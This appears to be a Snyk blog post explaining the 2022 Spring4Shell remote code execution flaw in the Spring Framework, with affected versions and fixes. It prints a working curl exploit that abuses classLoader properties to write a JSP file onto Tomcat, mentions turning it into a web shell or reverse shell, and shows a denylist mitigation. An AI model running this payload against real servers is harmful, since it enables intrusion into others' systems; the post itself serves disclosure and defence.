We use cookies to ensure you get the best experience on our website.Read moreRead moreGot it

close
  • Products
    • Products
      • Snyk Code (SAST)
        Secure your code as it’s written
      • Snyk Open Source (SCA)
        Avoid vulnerable dependencies
      • Snyk Container
        Keep your base images secure
      • Snyk Infrastructure as Code
        Develop secure cloud infrastructure
      • Snyk Cloud
        Keep your cloud environment secure
    • Solutions
      • Application security
        Build secure, stay secure
      • Software supply chain security
        Mitigate supply chain risk
      • Cloud security
        Build and operate securely
    • Platform
      • What is Snyk?
        Developer-first security in action
      • Developer security platform
        Modern security in a single platform
      • Security intelligence
        Comprehensive vulnerability data
      • License compliance management
        Manage open source usage
      • Snyk Learn
        Self-service security education
  • Resources
    • Using Snyk
      • Documentation
      • Vulnerability intelligence
      • Product training
      • Support & services
      • Support portal & FAQ’s
      • User hub
    • learn & connect
      • Blog
      • Community
      • Events & webinars
      • DevSecOps hub
      • Developer & security resources
    • Listen to the Cloud Security Podcast, powered by Snyk
  • Company
    • About Snyk
    • Customers
    • Partners
    • Newsroom
    • Snyk Impact
    • Contact us
    • Jobs at Snyk We are hiring
  • Pricing
Log inBook a demoSign up
All articles
  • Application Security
  • Cloud Native Security
  • DevSecOps
  • Engineering
  • Partners
  • Snyk Team
  • Show more
    • Vulnerabilities
    • Product
    • Ecosystems
Application SecurityEcosystemsOpen SourceVulnerabilities

Spring4Shell: The zero-day RCE in the Spring Framework explained

Brian VermeerMarch 31, 2022

On March 30, 2022, a critical remote code execution (RCE) vulnerability was found in the Spring Framework. More specifically, it is part of the spring-beans package, a transitive dependency in both spring-webmvc and spring-webflux. This vulnerability is another example of why securing the software supply chain is important to open source.

Security resources like Lunasec, Rapid7 and Praetorian confirmed that the vulnerability is real, and in the meantime Spring has already released a new version that mitigates this problem, so we recommend updating. While Spring4Shell does not appear to have the same impact as the recent Log4Shell vulnerability, it should still be evaluated and prioritized by every organization using the Spring Framework. In this post, we’ll explore how the RCE works.

Explaining Spring4Shell

If we have a controller with a request mapping loaded into memory, we are already vulnerable to this issue. Below, you see our GreetingController with a PostMapping to /greeting. When we call our application in, for instance, Tomcat at http://mydomain/myapp/greeting it tries to transform the input to a POJO (Plain Old Java Object) which, in our case, is the Greeting object.

@Controller
public class GreetingController {

  @PostMapping("/greeting")
  public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
     model.addAttribute("greeting", greeting);
     return "result";
  }

}

However, because Spring uses serialization under the hood to map these values to the Java object, it is possible to also set other values. After some exploration, it turns out that you are able to set properties of a class. This is interesting if you run on Tomcat.

To show this in action, we can use the following curl to create a rce.jsp file through some logging properties of the class.

curl -X POST \
 -H "pre:<%" \
 -H "post:;%>" \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}i out.println("HACKED" + (2 + 5))%{post}i' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/myapp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
 http://mydomain/myapp/greeting

Everything set in the pattern will end up as content in the file. With some clever escaping and the use of headers, our team was able to create a JSP file on the Tomcat server containing the simple body <% out.println(“HACKED”); %>. This file was now available at /myapp/rce.jsp.

The full POC created by Kirill Efimov and Aviad Hahami from the Snyk Security Research team is available on GitHub

If we can evaluate a simple out.println, we are also able to create JSP files containing terminal commands that create reverse shell access using Runtime.exec(). Alternatively, we can create a nice web shell interface using the JSP capabilities.

A similar exploit mentioned by many other blogs is to create a JSP that has the capabilities to execute a command. This Python script creates the appropriate request with the needed headers for you. After executing this script on our demo application, we are able to execute the whoami command like this: http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami.

Who is vulnerable?

As things are currently evolving quickly, we can only say what we know now.

For affected versions of spring-beans, it looks like this vulnerability is only effective if you use JDK 9 and up. The introduction of JDK 9 pretty much bypassed an old problem CVE-2010-1622. 

As a lot of Java developers have already moved away to later versions of Java past 8 and with the tremendous use of the Spring Framework, we believe a lot of Java applications might be vulnerable to this issue.

There are multiple ways to solve this problem. The Spring maintainers released a new version of the framework. So the best advice is to update to version 5.3.18 or 5.2.20 of the Spring Framework. According to our security team, you only have to update the `spring-bean` package to the latest version, but updating the whole framework makes more sense. If you use Spring Boot, release 2.6.6 or 2.5.12 integrates the updated Spring Framework.

If you cannot update to a newer version of Spring, it might be feasible for you to downgrade your Java version to Java 8.

Another option is to create an InitBinder either in the controller or as a separate ControllerAdvice like below.

@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {

  @InitBinder
  public void setAllowedFields(WebDataBinder dataBinder) {
    String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
    dataBinder.setDisallowedFields(denylist);
  }
}

But be aware that this is not a final solution. Creating a blocklist like this is not considered a good security practice, but it might buy you some time. The maintainers of the spring framework suggest to create a RequestMappingHandlerAdapter to update the WebDataBinder at the end after all other initialization in their blog post.

Depending on frameworks and libraries

Spring4Shell shows once again that we depend heavily on open source frameworks and libraries. However, when a security vulnerability such as this one or the recent Log4Shell RCE, you want to be aware of this so you can mitigate it instantly. 

Snyk can help you be on top of this by routinely scanning your applications. Snyk alerts you and your team when new vulnerabilities are detected, providing recommended next steps to keep your applications secure.

On a final note, zero-days like this remind us why it’s important to stay up to date with the latest versions of libraries. If you’re current, you can more easily apply updates, rebuild, and re-release quickly.

Secure your dependencies with Snyk

Find and fix vulnerabilities in your open source dependencies quickly with Snyk.

Sign up for free

Discuss this blog on Discord

Join the DevSecOps Community on Discord to discuss this topic and more with other security-focused practitioners.

GO TO DISCORD
Footer Wave Top
Patch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo Segment
Develop Fast.
Stay Secure.
Snyk|Open Source Security Platform
Sign up for freeBook a demo

Product

  • Developers & DevOps
  • Vulnerability database
  • API status
  • Pricing
  • IDE plugins
  • What is Snyk?

Resources

  • Snyk Learn
  • Blog
  • Security fundamentals
  • Resources for security leaders
  • Documentation
  • Snyk API
  • Disclosed vulnerabilities
  • Open Source Advisor
  • FAQs
  • Website scanner
  • Code snippets
  • Japanese site
  • Audit services
  • Web stories

Company

  • About
  • Snyk Impact
  • Customers
  • Jobs at Snyk
  • Snyk for government
  • Legal terms
  • Privacy
  • Press kit
  • Events
  • Security and trust
  • Do not sell my personal information

Connect

  • Book a demo
  • Contact us
  • Support
  • Report a new vuln

Security

  • JavaScript Security
  • Container Security
  • Kubernetes Security
  • Application Security
  • Open Source Security
  • Cloud Security
  • Secure SDLC
  • Cloud Native Security
  • Secure coding
  • Python Code Examples
  • JavaScript Code Examples
  • Code Checker
  • Python Code Checker
  • JavaScript Code Checker
Snyk|Open Source Security Platform

Snyk is a developer security platform. Integrating directly into development tools, workflows, and automation pipelines, Snyk makes it easy for teams to find, prioritize, and fix security vulnerabilities in code, dependencies, containers, and infrastructure as code. Supported by industry-leading application and security intelligence, Snyk puts security expertise in any developer's toolkit.

Resources

  • Snyk Learn
  • Blog
  • Security fundamentals
  • Resources for security leaders
  • Documentation
  • Snyk API
  • Disclosed vulnerabilities
  • Open Source Advisor
  • FAQs
  • Website scanner
  • Code snippets
  • Japanese site
  • Audit services
  • Web stories

Track our development

© 2023 Snyk Limited
Registered in England and Wales
Company number: 09677925
Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.
Footer Wave Bottom